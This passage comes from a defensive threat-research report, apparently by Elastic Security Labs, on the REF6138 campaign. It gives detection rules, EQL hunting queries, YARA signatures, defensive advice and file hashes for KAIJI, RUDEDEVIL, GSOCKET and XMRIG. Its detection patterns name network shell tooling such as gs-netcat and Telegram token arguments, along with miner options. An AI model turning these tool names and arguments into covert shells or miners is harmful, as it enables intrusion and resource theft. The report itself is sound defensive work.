Information\"}),(0,n.jsx)(e.td,{children:\"Software Packing\"})]}),(0,n.jsxs)(e.tr,{children:[(0,n.jsx)(e.td,{}),(0,n.jsx)(e.td,{}),(0,n.jsx)(e.td,{children:\"Stripped Payloads\"})]}),(0,n.jsxs)(e.tr,{children:[(0,n.jsx)(e.td,{}),(0,n.jsx)(e.td,{}),(0,n.jsx)(e.td,{children:\"Command Obfuscation\"})]}),(0,n.jsxs)(e.tr,{children:[(0,n.jsx)(e.td,{}),(0,n.jsx)(e.td,{}),(0,n.jsx)(e.td,{children:\"Encrypted/Encoded File\"})]}),(0,n.jsxs)(e.tr,{children:[(0,n.jsx)(e.td,{children:\"Discovery\"}),(0,n.jsx)(e.td,{children:\"T1057: Process Discovery\"}),(0,n.jsx)(e.td,{})]}),(0,n.jsxs)(e.tr,{children:[(0,n.jsx)(e.td,{}),(0,n.jsx)(e.td,{children:\"T1082: System Information Discovery\"}),(0,n.jsx)(e.td,{})]}),(0,n.jsxs)(e.tr,{children:[(0,n.jsx)(e.td,{}),(0,n.jsx)(e.td,{children:\"T1061: System Network Configuration Discovery\"}),(0,n.jsx)(e.td,{})]}),(0,n.jsxs)(e.tr,{children:[(0,n.jsx)(e.td,{}),(0,n.jsx)(e.td,{children:\"T1049: System Network Connections Discovery\"}),(0,n.jsx)(e.td,{})]}),(0,n.jsxs)(e.tr,{children:[(0,n.jsx)(e.td,{}),(0,n.jsx)(e.td,{children:\"T1007: System Service Discovery\"}),(0,n.jsx)(e.td,{})]}),(0,n.jsxs)(e.tr,{children:[(0,n.jsx)(e.td,{children:\"Collection\"}),(0,n.jsx)(e.td,{children:\"T1119: Automated Collection\"}),(0,n.jsx)(e.td,{})]}),(0,n.jsxs)(e.tr,{children:[(0,n.jsx)(e.td,{}),(0,n.jsx)(e.td,{children:\"T1005: Data from Local System\"}),(0,n.jsx)(e.td,{})]}),(0,n.jsxs)(e.tr,{children:[(0,n.jsx)(e.td,{children:\"Command and Control\"}),(0,n.jsx)(e.td,{children:\"T1071: Application Layer Protocol\"}),(0,n.jsx)(e.td,{children:\"Web Protocols\"})]}),(0,n.jsxs)(e.tr,{children:[(0,n.jsx)(e.td,{}),(0,n.jsx)(e.td,{children:\"T1132: Data Encoding\"}),(0,n.jsx)(e.td,{children:\"Standard Encoding\"})]}),(0,n.jsxs)(e.tr,{children:[(0,n.jsx)(e.td,{}),(0,n.jsx)(e.td,{children:\"T1001: Data Obfuscation\"}),(0,n.jsx)(e.td,{})]}),(0,n.jsxs)(e.tr,{children:[(0,n.jsx)(e.td,{}),(0,n.jsx)(e.td,{children:\"T1573: Encrypted Channel\"}),(0,n.jsx)(e.td,{children:\"Symmetric Cryptography\"})]}),(0,n.jsxs)(e.tr,{children:[(0,n.jsx)(e.td,{}),(0,n.jsx)(e.td,{children:\"T1105: Ingress Tool Transfer\"}),(0,n.jsx)(e.td,{})]}),(0,n.jsxs)(e.tr,{children:[(0,n.jsx)(e.td,{}),(0,n.jsx)(e.td,{children:\"T1571: Non-Standard Port\"}),(0,n.jsx)(e.td,{})]}),(0,n.jsxs)(e.tr,{children:[(0,n.jsx)(e.td,{}),(0,n.jsx)(e.td,{children:\"T1572: Protocol Tunneling\"}),(0,n.jsx)(e.td,{})]}),(0,n.jsxs)(e.tr,{children:[(0,n.jsx)(e.td,{}),(0,n.jsx)(e.td,{children:\"T1102: Web Service\"}),(0,n.jsx)(e.td,{})]}),(0,n.jsxs)(e.tr,{children:[(0,n.jsx)(e.td,{children:\"Impact\"}),(0,n.jsx)(e.td,{children:\"T1496: Resource Hijacking\"}),(0,n.jsx)(e.td,{})]})]})]})}),`\n`,(0,n.jsx)(e.h2,{id:\"detecting-ref6138\",children:(0,n.jsx)(e.strong,{children:\"Detecting REF6138\"})}),`\n`,(0,n.jsx)(e.p,{children:\"Elastic Security implements a multi-layer approach to threat detection, leveraging behavioral SIEM and Endpoint rules, YARA signatures and ML-based anomaly detection approaches. This section describes the detections built by Elastic Security that play a big role in capturing the identified threats.\"}),`\n`,(0,n.jsx)(e.h3,{id:\"detection\",children:\"Detection\"}),`\n`,(0,n.jsx)(e.p,{children:\"The following detection rules were observed throughout the analysis of this intrusion set:\"}),`\n`,(0,n.jsxs)(e.ul,{children:[`\n`,(0,n.jsx)(e.li,{children:(0,n.jsx)(e.a,{href:\"https://github.com/elastic/detection-rules/blob/main/rules_building_block/execution_linux_segfault.toml\",rel:\"nofollow\",children:\"Segfault Detection\"})}),`\n`,(0,n.jsx)(e.li,{children:(0,n.jsx)(e.a,{href:\"https://github.com/elastic/detection-rules/blob/main/rules/cross-platform/defense_evasion_timestomp_touch.toml\",rel:\"nofollow\",children:\"Timestomping using Touch Command\"})}),`\n`,(0,n.jsx)(e.li,{children:(0,n.jsx)(e.a,{href:\"https://github.com/elastic/detection-rules/blob/main/rules/linux/persistence_shell_configuration_modification.toml\",rel:\"nofollow\",children:\"Shell Configuration Creation or Modification\"})}),`\n`,(0,n.jsx)(e.li,{children:(0,n.jsx)(e.a,{href:\"https://github.com/elastic/detection-rules/blob/main/rules/linux/defense_evasion_binary_copied_to_suspicious_directory.toml\",rel:\"nofollow\",children:\"System Binary Moved or Copied\"})}),`\n`]}),`\n`,(0,n.jsx)(e.h3,{id:\"prevention\",children:\"Prevention\"}),`\n`,(0,n.jsx)(e.p,{children:\"The following behavior prevention events were observed throughout the analysis of this intrusion set:\"}),`\n`,(0,n.jsxs)(e.ul,{children:[`\n`,(0,n.jsx)(e.li,{children:(0,n.jsx)(e.a,{href:\"https://github.com/elastic/protections-artifacts/blob/main/behavior/rules/linux/execution_linux_reverse_shell_via_suspicious_utility.toml\",rel:\"nofollow\",children:\"Linux Reverse Shell via Suspicious Utility\"})}),`\n`,(0,n.jsx)(e.li,{children:(0,n.jsx)(e.a,{href:\"https://github.com/elastic/protections-artifacts/blob/main/behavior/rules/linux/defense_evasion_defense_evasion_via_bind_mount.toml\",rel:\"nofollow\",children:\"Defense Evasion via Bind Mount\"})}),`\n`,(0,n.jsx)(e.li,{children:(0,n.jsx)(e.a,{href:\"https://github.com/elastic/protections-artifacts/blob/main/behavior/rules/linux/execution_linux_suspicious_child_process_execution_via_interactive_shell.toml\",rel:\"nofollow\",children:\"Linux Suspicious Child Process Execution via Interactive Shell\"})}),`\n`,(0,n.jsx)(e.li,{children:(0,n.jsx)(e.a,{href:\"https://github.com/elastic/protections-artifacts/blob/main/behavior/rules/linux/execution_potential_linux_hack_tool_launched.toml\",rel:\"nofollow\",children:\"Potential Linux Hack Tool Launched\"})}),`\n`,(0,n.jsx)(e.li,{children:(0,n.jsx)(e.a,{href:\"https://github.com/elastic/protections-artifacts/blob/main/behavior/rules/linux/privilege_escalation_privilege_escalation_via_pkexec_exploitation.toml\",rel:\"nofollow\",children:\"Privilege Escalation via PKEXEC Exploitation\"})}),`\n`,(0,n.jsx)(e.li,{children:(0,n.jsx)(e.a,{href:\"https://github.com/elastic/protections-artifacts/blob/main/behavior/rules/linux/lateral_movement_potential_ssh_it_ssh_worm_downloaded.toml\",rel:\"nofollow\",children:\"Potential SSH-IT SSH Worm Downloaded\"})}),`\n`,(0,n.jsx)(e.li,{children:(0,n.jsx)(e.a,{href:\"https://github.com/elastic/protections-artifacts/blob/main/behavior/rules/linux/persistence_scheduled_job_executing_binary_in_unusual_location.toml\",rel:\"nofollow\",children:\"Scheduled Job Executing Binary in Unusual Location\"})}),`\n`]}),`\n`,(0,n.jsx)(e.p,{children:\"The following YARA Signatures are in place to detect the KAIJI and RUDEDEVIL malware samples both as file and in-memory:\"}),`\n`,(0,n.jsxs)(e.ul,{children:[`\n`,(0,n.jsx)(e.li,{children:(0,n.jsx)(e.a,{href:\"https://github.com/elastic/protections-artifacts/blob/main/yara/rules/Linux_Generic_Threat.yar\",rel:\"nofollow\",children:\"Linux.Generic.Threat\"})}),`\n`,(0,n.jsx)(e.li,{children:(0,n.jsx)(e.a,{href:\"https://github.com/elastic/protections-artifacts/blob/main/yara/rules/Linux_Hacktool_Flooder.yar\",rel:\"nofollow\",children:\"Linux.Hacktool.Flooder\"})}),`\n`]}),`\n`,(0,n.jsx)(e.p,{children:\"The following, soon to be released, endpoint rule alerts were observed throughout the analysis of this intrusion set:\"}),`\n`,(0,n.jsxs)(e.ul,{children:[`\n`,(0,n.jsx)(e.li,{children:\"Potential Shell via Web Server\"}),`\n`,(0,n.jsx)(e.li,{children:\"Potential Web Server Code Injection\"}),`\n`,(0,n.jsx)(e.li,{children:\"Potential Shell Executed by Web Server User\"}),`\n`,(0,n.jsx)(e.li,{children:\"Decode Activity via Web Server\"}),`\n`,(0,n.jsx)(e.li,{children:\"Linux Telegram API Request\"}),`\n`,(0,n.jsx)(e.li,{children:\"Suspicious Echo Execution\"}),`\n`]}),`\n`,(0,n.jsx)(e.h3,{id:\"hunting-queries-in-elastic\",children:\"Hunting queries in Elastic\"}),`\n`,(0,n.jsx)(e.p,{children:\"The events for both KQL and EQL are provided with the Elastic Agent using the Elastic Defend integration. Hunting queries could return high signals or false positives. These queries are used to identify potentially suspicious behavior, but an investigation is required to validate the findings.\"}),`\n`,(0,n.jsx)(e.h4,{id:\"eql-queries\",children:\"EQL queries\"}),`\n`,(0,n.jsx)(e.p,{children:\"Using the Timeline section of the Security Solution in Kibana under the \\u201CCorrelation\\u201D tab, you can use the below EQL queries to hunt for behaviors similar:\"}),`\n`,(0,n.jsx)(e.p,{children:(0,n.jsx)(e.strong,{children:\"Potential XMRIG Execution\"})}),`\n`,(0,n.jsx)(e.p,{children:\"The following EQL query can be used to hunt for XMRIG executions within your environment.\"}),`\n`,(0,n.jsx)(e.pre,{children:(0,n.jsx)(e.code,{children:`process where event.type == \"start\" and event.action == \"exec\" and (\n (\n process.args in (\"-a\", \"--algo\") and process.args in (\n \"gr\", \"rx/graft\", \"cn/upx2\", \"argon2/chukwav2\", \"cn/ccx\", \"kawpow\", \"rx/keva\", \"cn-pico/tlo\", \"rx/sfx\", \"rx/arq\",\n \"rx/0\", \"argon2/chukwa\", \"argon2/ninja\", \"rx/wow\", \"cn/fast\", \"cn/rwz\", \"cn/zls\", \"cn/double\", \"cn/r\", \"cn-pico\",\n \"cn/half\", \"cn/2\", \"cn/xao\", \"cn/rto\", \"cn-heavy/tube\", \"cn-heavy/xhv\", \"cn-heavy/0\", \"cn/1\", \"cn-lite/1\",\n \"cn-lite/0\", \"cn/0\"\n )\n ) or\n (\n process.args == \"--coin\" and process.args in (\"monero\", \"arqma\", \"dero\")\n )\n) and process.args in (\"-o\", \"--url\")\n`})}),`\n`,(0,n.jsx)(e.p,{children:(0,n.jsx)(e.strong,{children:\"MSR Write Access Enabled\"})}),`\n`,(0,n.jsx)(e.p,{children:\"XMRIG leverages modprobe to enable write access to MSR. This activity is abnormal, and should not occur by-default.\"}),`\n`,(0,n.jsx)(e.pre,{children:(0,n.jsx)(e.code,{children:`process where event.type == \"start\" and event.action == \"exec\" and process.name == \"modprobe\" and\nprocess.args == \"msr\" and process.args == \"allow_writes=on\"\n`})}),`\n`,(0,n.jsx)(e.p,{children:(0,n.jsx)(e.strong,{children:\"Potential GSOCKET Activity\"})}),`\n`,(0,n.jsx)(e.p,{children:\"This activity is default behavior when deploying GSOCKET through the recommended deployment methods. Additionally, several arguments are added to the query to decrease the chances of missing a more customized intrusion through GSOCKET.\"}),`\n`,(0,n.jsx)(e.pre,{children:(0,n.jsx)(e.code,{children:`process where event.type == \"start\" and event.action == \"exec\" and\nprocess.name in (\"bash\", \"dash\", \"sh\", \"tcsh\", \"csh\", \"zsh\", \"ksh\", \"fish\") and\nprocess.command_line : (\n\"*GS_ARGS=*\", \"*gs-netcat*\", \"*gs-sftp*\", \"*gs-mount*\", \"*gs-full-pipe*\", \"*GS_NOINST=*\", \"*GSOCKET_ARGS=*\", \"*GS_DSTDIR=*\", \"*GS_URL_BASE=*\", \"*GS_OSARCH=*\", \"*GS_DEBUG=*\", \"*GS_HIDDEN_NAME=*\", \"*GS_HOST=*\", \"*GS_PORT=*\", \"*GS_TG_TOKEN=*\", \"*GS_TG_CHATID=*\", \"*GS_DISCORD_KEY=*\", \"*GS_WEBHOOK_KEY=*\"\n)\n`})}),`\n`,(0,n.jsx)(e.p,{children:(0,n.jsx)(e.strong,{children:\"Potential Process Masquerading via Exec\"})}),`\n`,(0,n.jsxs)(e.p,{children:[\"GSOCKET leverages the \",(0,n.jsx)(e.code,{children:\"exec -a\"}),\" method to run a process under a different name. GSOCKET specifically leverages masquerades as kernel processes, but other malware may masquerade differently.\"]}),`\n`,(0,n.jsx)(e.pre,{children:(0,n.jsx)(e.code,{children:`process where event.type == \"start\" and event.action == \"exec\" and\nprocess.name in (\"bash\", \"dash\", \"sh\", \"tcsh\", \"csh\", \"zsh\", \"ksh\", \"fish\") and process.args == \"-c\" and process.command_line : \"* exec -a *\"\n`})}),`\n`,(0,n.jsx)(e.p,{children:(0,n.jsx)(e.strong,{children:\"Renice or Ulimit Execution\"})}),`\n`,(0,n.jsx)(e.p,{children:\"Several malwares, including KAIJI and RUDEDEVIL, leverage the renice utility to change the priority of processes or set resource limits for processes. This is commonly used by miner malware to increase the priority of mining processes to maximize the mining performance.\"}),`\n`,(0,n.jsx)(e.pre,{children:(0,n.jsx)(e.code,{children:`process where event.type == \"start\" and event.action == \"exec\" and (\n process.name in (\"ulimit\", \"renice\") or (\n process.name in (\"bash\", \"dash\", \"sh\", \"tcsh\", \"csh\", \"zsh\", \"ksh\", \"fish\") and process.args == \"-c\" and\n process.command_line : (\"*ulimit*\", \"*renice*\")\n )\n)\n`})}),`\n`,(0,n.jsx)(e.p,{children:(0,n.jsx)(e.strong,{children:\"Inexistent Cron(d) Service Started\"})}),`\n`,(0,n.jsxs)(e.p,{children:[\"Both KAIJI and RUDEDEVIL establish persistence through the creation of a \",(0,n.jsx)(e.code,{children:\"cron(d)\"}),\" service in \",(0,n.jsx)(e.code,{children:\"/etc/init.d/cron(d)\"}),\". \",(0,n.jsx)(e.code,{children:\"Cron\"}),\", by default, does not use a \",(0,n.jsx)(e.code,{children:\"SysV Init\"}),\" service. Execution of a \",(0,n.jsx)(e.code,{children:\"cron(d)\"}),\" service is suspicious, and should be analyzed further.\"]}),`\n`,(0,n.jsx)(e.pre,{children:(0,n.jsx)(e.code,{children:`process where event.type == \"start\" and event.action == \"exec\" and \n process.name == \"systemctl\" and process.args == \"start\" and process.args in \n (\"cron.service\", \"crond.service\", \"cron\", \"crond\")\n`})}),`\n`,(0,n.jsx)(e.p,{children:(0,n.jsx)(e.strong,{children:\"Suspicious /etc/ Process Execution from KAIJI\"})}),`\n`,(0,n.jsxs)(e.p,{children:[\"The \",(0,n.jsx)(e.code,{children:\"/etc/\"}),\" directory is not a commonly used directory for process executions. KAIJI is known to place a binary called \",(0,n.jsx)(e.code,{children:\"32678\"}),\" and \",(0,n.jsx)(e.code,{children:\"id.services.conf\"}),\" in the \",(0,n.jsx)(e.code,{children:\"/etc/\"}),\" directory, to establish persistence and evade detection.\"]}),`\n`,(0,n.jsx)(e.pre,{children:(0,n.jsx)(e.code,{children:`process where event.type == \"start\" and event.action == \"exec\" and (process.executable regex \"\"\"/etc/[0-9].*\"\"\" or process.executable : (\"/etc/*.conf\", \"/etc/.*\"))\n`})}),`\n`,(0,n.jsx)(e.p,{children:(0,n.jsx)(e.strong,{children:\"Hidden File Creation in /dev/ directory\"})}),`\n`,(0,n.jsxs)(e.p,{children:[\"Creating hidden files in \",(0,n.jsx)(e.code,{children:\"/dev/\"}),\" and \",(0,n.jsx)(e.code,{children:\"/dev/shm/\"}),\" are not inherently malicious, however, this activity should be uncommon. KAIJI, GSOCKET and other malwares such as \",(0,n.jsx)(e.code,{children:\"K4SPREADER\"}),\" are known to drop hidden files in these locations.\"]}),`\n`,(0,n.jsx)(e.pre,{children:(0,n.jsx)(e.code,{children:`file where event.type == \"creation\" and file.path : (\"/dev/shm/.*\", \"/dev/.*\")\n`})}),`\n`,(0,n.jsx)(e.p,{children:(0,n.jsx)(e.strong,{children:\"Suspicious Process Execution from Parent Executable in /boot/\"})}),`\n`,(0,n.jsxs)(e.p,{children:[\"Malwares such as KAIJI and XORDDOS are known to place executable files in the \",(0,n.jsx)(e.code,{children:\"/boot/\"}),\" directory, and leverage these to establish persistence while attempting to evade detection.\"]}),`\n`,(0,n.jsx)(e.pre,{children:(0,n.jsx)(e.code,{children:`process where event.type == \"start\" and event.action == \"exec\" and process.parent.executable : \"/boot/*\"\n`})}),`\n`,(0,n.jsx)(e.h4,{id:\"yara\",children:\"YARA\"}),`\n`,(0,n.jsxs)(e.p,{children:[\"Elastic Security has created YARA rules to identify this activity. Below is the YARA rule to identify the custom \",(0,n.jsx)(e.code,{children:\"Apache2\"}),\" malware:\"]}),`\n`,(0,n.jsx)(e.pre,{children:(0,n.jsx)(e.code,{children:`rule Linux_Trojan_Generic {\n meta:\n author = \"Elastic Security\"\n creation_date = \"2024-09-20\"\n last_modified = \"2024-09-20\"\n os = \"Linux\"\n arch = \"x86\"\n threat_name = \"Linux.Trojan.Generic\"\n reference = \"https://www.elastic.co/security-labs/betting-on-bots\"\n license = \"Elastic License v2\"\n\n strings:\n $enc1 = { 74 73 0A 1C 1A 54 1A 11 54 0C 18 43 59 5B 3A 11 0B 16 14 10 0C 14 5B }\n $enc2 = { 18 1A 1A 1C 09 0D 43 59 0D 1C 01 0D 56 11 0D 14 15 55 18 09 09 15 10 }\n $enc3 = { 18 1A 1A 1C 09 0D 54 15 18 17 1E 0C 18 1E 1C 43 59 0B 0C }\n $enc4 = { 34 16 03 10 15 15 18 56 4C 57 49 59 51 2E 10 17 1D 16 0E 0A 59 37 }\n $key = \"yyyyyyyy\"\n condition:\n 1 of ($enc*) and $key\n}\n`})}),`\n`,(0,n.jsx)(e.p,{children:\"To detect GSOCKET, including several of its adjacent tools, we created the following signature:\"}),`\n`,(0,n.jsx)(e.pre,{children:(0,n.jsx)(e.code,{children:`rule Multi_Hacktool_Gsocket {\n meta:\n author = \"Elastic Security\"\n creation_date = \"2024-09-20\"\n last_modified = \"2024-09-23\"\n os = \"Linux, MacOS\"\n arch = \"x86\"\n threat_name = \"Multi.Hacktool.Gsocket\"\n reference = \"https://www.elastic.co/security-labs/betting-on-bots\"\n license = \"Elastic License v2\"\n\n strings:\n $str1 = \"gsocket: gs_funcs not found\"\n $str2 = \"/share/gsocket/gs_funcs\"\n $str3 = \"$GSOCKET_ARGS\"\n $str4 = \"GSOCKET_SECRET\"\n $str5 = \"GS_HIJACK_PORTS\"\n $str6 = \"sftp -D gs-netcat\"\n $str7 = \"GS_NETCAT_BIN\"\n $str8 = \"GSOCKET_NO_GREETINGS\"\n $str9 = \"GS-NETCAT(1)\"\n $str10 = \"GSOCKET_SOCKS_IP\"\n $str11 = \"GSOCKET_SOCKS_PORT\"\n $str12 = \"gsocket(1)\"\n $str13 = \"gs-sftp(1)\"\n $str14 = \"gs-mount(1)\"\n condition:\n 3 of them\n}\n`})}),`\n`,(0,n.jsxs)(e.p,{children:[\"Finally, the following signature was written to detect the \",(0,n.jsx)(e.a,{href:\"https://github.com/nicocha30/ligolo-ng\",rel:\"nofollow\",children:\"open source Ligolo-ng tool\"}),\", as we have reason to believe this tool was used during this intrusion.\"]}),`\n`,(0,n.jsx)(e.pre,{children:(0,n.jsx)(e.code,{children:`rule Linux_Hacktool_LigoloNG {\n meta:\n author = \"Elastic Security\"\n creation_date = \"2024-09-20\"\n last_modified = \"2024-09-20\"\n os = \"Linux\"\n arch = \"x86\"\n threat_name = \"Linux.Hacktool.LigoloNG\"\n reference = \"https://www.elastic.co/security-labs/betting-on-bots\"\n license = \"Elastic License v2\"\n\n strings:\n $a = \"https://github.com/nicocha30/ligolo-ng\"\n $b = \"@Nicocha30!\"\n $c = \"Ligolo-ng %s / %s / %s\"\n condition:\n all of them\n}\n`})}),`\n`,(0,n.jsx)(e.h3,{id:\"defensive-recommendations\",children:\"Defensive recommendations\"}),`\n`,(0,n.jsx)(e.p,{children:\"To effectively defend against malware campaigns and minimize the risk of intrusion, it\\u2019s crucial to implement a multi-layered approach to security. Here are some key defensive measures you should prioritize:\"}),`\n`,(0,n.jsxs)(e.ol,{children:[`\n`,(0,n.jsxs)(e.li,{children:[(0,n.jsx)(e.strong,{children:\"Keep Your Elastic Detection Rules Updated and Enabled\"}),\": Ensure that your security tools, including any pre-built detection rules, are up to date. Continuous updates allow your systems to detect the latest malware signatures and behaviors.\"]}),`\n`,(0,n.jsxs)(e.li,{children:[(0,n.jsx)(e.strong,{children:\"Enable Prevention Mode in Elastic Defend\"}),\": Configure Elastic Defend in prevention mode to automatically block known threats rather than just alerting on them. Prevention mode ensures proactive defense against malware and exploits.\"]}),`\n`,(0,n.jsxs)(e.li,{children:[(0,n.jsx)(e.strong,{children:\"Monitor Alerts and Logs\"}),\": Regularly monitor alerts, logs, and servers for any signs of suspicious activity. Early detection of unusual behavior can help prevent a small breach from escalating into a full-blown compromise.\"]}),`\n`,(0,n.jsxs)(e.li,{children:[(0,n.jsx)(e.strong,{children:\"Conduct Threat Hunting\"}),\": Proactively investigate your environment for hidden threats that may have evaded detection. Threat hunting can uncover advanced attacks and persistent malware that bypass traditional security measures.\"]}),`\n`,(0,n.jsxs)(e.li,{children:[(0,n.jsx)(e.strong,{children:\"Implement Web Application Firewalls (WAFs)\"}),\": Use a WAF to block unauthorized or malicious traffic. A properly configured firewall can prevent many common web attacks.\"]}),`\n`,(0,n.jsxs)(e.li,{children:[(0,n.jsx)(e.strong,{children:\"Enforce Strong Authentication for SSH\"}),\": Use public/private key authentication for SSH access to protect against brute force attacks.\"]}),`\n`,(0,n.jsxs)(e.li,{children:[(0,n.jsx)(e.strong,{children:\"Write Secure Code\"}),\": Ensure that all custom software, especially web server technology, follows secure coding practices. Engaging professional security auditors to review your code can help identify and mitigate vulnerabilities before they are exploited.\"]}),`\n`,(0,n.jsxs)(e.li,{children:[(0,n.jsx)(e.strong,{children:\"Regularly Patch and Update Systems\"}),\": Keeping servers, applications, and software up to date is essential to defending against known vulnerabilities. Prompt patching minimizes the risk of being targeted by off-the-shelf exploits.\"]}),`\n`]}),`\n`,(0,n.jsx)(e.p,{children:\"By following these recommendations, you can significantly reduce the attack surface and strengthen your defense against ongoing or potential malware threats.\"}),`\n`,(0,n.jsx)(e.h2,{id:\"observations\",children:\"Observations\"}),`\n`,(0,n.jsxs)(e.p,{children:[\"The following observables were discussed in this research. These are available for download in STIX or ECS format \",(0,n.jsx)(e.a,{href:\"https://github.com/elastic/labs-releases/tree/main/indicators/ref6138\",rel:\"nofollow\",children:\"here\"}),\".\"]}),`\n`,(0,n.jsx)(e.div,{className:\"table-container\",children:(0,n.jsxs)(e.table,{children:[(0,n.jsx)(e.thead,{children:(0,n.jsxs)(e.tr,{children:[(0,n.jsx)(e.th,{children:\"Observable\"}),(0,n.jsx)(e.th,{children:\"Type\"}),(0,n.jsx)(e.th,{children:\"Name\"}),(0,n.jsx)(e.th,{children:\"Reference\"})]})}),(0,n.jsxs)(e.tbody,{children:[(0,n.jsxs)(e.tr,{children:[(0,n.jsx)(e.td,{children:\"72ac2877c9e4cd7d70673c0643eb16805977a9b8d55b6b2e5a6491db565cee1f\"}),(0,n.jsx)(e.td,{children:\"SHA-256\"}),(0,n.jsx)(e.td,{children:\"SystemdXC\"}),(0,n.jsx)(e.td,{children:\"XMRIG\"})]}),(0,n.jsxs)(e.tr,{children:[(0,n.jsx)(e.td,{children:\"82c55c169b6cb5e348be6e202163296b2b5d80fff2be791c21da9a8b84188684\"}),(0,n.jsx)(e.td,{children:\"SHA-256\"}),(0,n.jsx)(e.td,{children:\"apache2\"}),(0,n.jsx)(e.td,{children:\"apache2_unpacked\"})]}),(0,n.jsxs)(e.tr,{children:[(0,n.jsx)(e.td,{children:\"0fede7231267afc03b096ee6c1d3ded479b10ab235e260120bc9f68dd1fc54dd\"}),(0,n.jsx)(e.td,{children:\"SHA-256\"}),(0,n.jsx)(e.td,{children:\"apache2_upx_packed\"}),(0,n.jsx)(e.td,{children:\"apache2_upx_packed\"})]}),(0,n.jsxs)(e.tr,{children:[(0,n.jsx)(e.td,{children:\"9ee695e55907a99f097c4c0ad4eb24ae5cf3f8215e9904d787817f1becb9449e\"}),(0,n.jsx)(e.td,{children:\"SHA-256\"}),(0,n.jsx)(e.td,{children:\"download.sh\"}),(0,n.jsx)(e.td,{children:\"KAIJI Stager\"})]}),(0,n.jsxs)(e.tr,{children:[(0,n.jsx)(e.td,{children:\"1cdfb522acb1ad0745a4b88f072e40bf9aa113b63030fe002728bac50a46ae79\"}),(0,n.jsx)(e.td,{children:\"SHA-256\"}),(0,n.jsx)(e.td,{children:\"linux_386\"}),(0,n.jsx)(e.td,{children:\"KAIJI x86\"})]}),(0,n.jsxs)(e.tr,{children:[(0,n.jsx)(e.td,{children:\"d0ef2f020082556884361914114429ed82611ef8de09d878431745ccd07c06d8\"}),(0,n.jsx)(e.td,{children:\"SHA-256\"}),(0,n.jsx)(e.td,{children:\"linux_amd64\"}),(0,n.jsx)(e.td,{children:\"KAIJI x64\"})]}),(0,n.jsxs)(e.tr,{children:[(0,n.jsx)(e.td,{children:\"ad36cf59b5eb08799a50e9aece6f12cdfe8620062606ac6684d3b4509acc681b\"}),(0,n.jsx)(e.td,{children:\"SHA-256\"}),(0,n.jsx)(e.td,{children:\"linux_arm5\"}),(0,n.jsx)(e.td,{children:\"KAIJI ARM5\"})]}),(0,n.jsxs)(e.tr,{children:[(0,n.jsx)(e.td,{children:\"792a84a5bc8530285e2f6eb997054edb3d43460a99a089468e2cf81b5fd5cde6\"}),(0,n.jsx)(e.td,{children:\"SHA-256\"}),(0,n.jsx)(e.td,{children:\"linux_arm6\"}),(0,n.jsx)(e.td,{children:\"KAIJI ARM6\"})]}),(0,n.jsxs)(e.tr,{children:[(0,n.jsx)(e.td,{children:\"e19fb249db323d2388e91f92ff0c8a7a169caf34c3bdaf4d3544ce6bfb8b88b4\"}),(0,n.jsx)(e.td,{children:\"SHA-256\"}),(0,n.jsx)(e.td,{children:\"linux_arm64\"}),(0,n.jsx)(e.td,{children:\"KAIJI ARM64\"})]}),(0,n.jsxs)(e.tr,{children:[(0,n.jsx)(e.td,{children:\"3847c06f95dd92ec482212116408286986bb4b711e27def446fb4a524611b745\"}),(0,n.jsx)(e.td,{children:\"SHA-256\"}),(0,n.jsx)(e.td,{children:\"linux_arm7\"}),(0,n.jsx)(e.td,{children:\"KAIJI ARM7\"})]}),(0,n.jsxs)(e.tr,{children:[(0,n.jsx)(e.td,{children:\"fffee23324813743b8660282ccd745daa6fb058f2bf84b9960f70d888cd33ba0\"}),(0,n.jsx)(e.td,{children:\"SHA-256\"}),(0,n.jsx)(e.td,{children:\"linux_mips\"}),(0,n.jsx)(e.td,{children:\"KAIJI MIPS\"})]}),(0,n.jsxs)(e.tr,{children:[(0,n.jsx)(e.td,{children:\"6d40b58e97c7b4c34f7b5bdac88f46e943e25faa887e0e6ce5f2855008e83f55\"}),(0,n.jsx)(e.td,{children:\"SHA-256\"}),(0,n.jsx)(e.td,{children:\"linux_mips64\"}),(0,n.jsx)(e.td,{children:\"KAIJI MIPS64\"})]}),(0,n.jsxs)(e.tr,{children:[(0,n.jsx)(e.td,{children:\"0c3442b8c49844a1ee41705a9e4a710ae3c7cde76c69c2eab733366b2aa34814\"}),(0,n.jsx)(e.td,{children:\"SHA-256\"}),(0,n.jsx)(e.td,{children:\"linux_mips64el\"}),(0,n.jsx)(e.td,{children:\"KAIJI MIPS64 little-endian\"})]}),(0,n.jsxs)(e.tr,{children:[(0,n.jsx)(e.td,{children:\"310973f6f186947cb7cff0e7b46b4645acdd71e90104f334caa88a4fa8ad9988\"}),(0,n.jsx)(e.td,{children:\"SHA-256\"}),(0,n.jsx)(e.td,{children:\"linux_mips_softfloat\"}),(0,n.jsx)(e.td,{children:\"KAIJI MIPS softfloat\"})]}),(0,n.jsxs)(e.tr,{children:[(0,n.jsx)(e.td,{children:\"0d24a2e7da52bad03b0bda45c8435a29c4e1c9b483e425ae71b79fd122598527\"}),(0,n.jsx)(e.td,{children:\"SHA-256\"}),(0,n.jsx)(e.td,{children:\"linux_mipsel\"}),(0,n.jsx)(e.td,{children:\"KAIJI MIPS little-endian\"})]}),(0,n.jsxs)(e.tr,{children:[(0,n.jsx)(e.td,{children:\"36fc8eef2e1574e00ba3cf9e2267d4d295f6e9f138474e3bd85eb4d215f63196\"}),(0,n.jsx)(e.td,{children:\"SHA-256\"}),(0,n.jsx)(e.td,{children:\"linux_mipsel_softfloat\"}),(0,n.jsx)(e.td,{children:\"KAIJI MIPS little-endian softfloat\"})]}),(0,n.jsxs)(e.tr,{children:[(0,n.jsx)(e.td,{children:\"3c25a4406787cc5089e83e00350e49eb9f192d03d69e7a61b780b6828db1344f\"}),(0,n.jsx)(e.td,{children:\"SHA-256\"}),(0,n.jsx)(e.td,{children:\"linux_ppc64\"}),(0,n.jsx)(e.td,{children:\"KAIJI PPC64\"})]}),(0,n.jsxs)(e.tr,{children:[(0,n.jsx)(e.td,{children:\"7c16149db7766c6fd89f28031aa123408228f045e90aa03828c02562d9f9d1d7\"}),(0,n.jsx)(e.td,{children:\"SHA-256\"}),(0,n.jsx)(e.td,{children:\"linux_ppc64el\"}),(0,n.jsx)(e.td,{children:\"KAIJI PPC64 little-endian\"})]}),(0,n.jsxs)(e.tr,{children:[(0,n.jsx)(e.td,{children:\"09f935acbac36d224acfb809ad82c475d53d74ab505f057f5ac40611d7c3dbe7\"}),(0,n.jsx)(e.td,{children:\"SHA-256\"}),(0,n.jsx)(e.td,{children:\"l64_v0\"}),(0,n.jsx)(e.td,{children:\"RUDEDEVIL/LUFICER x64 version 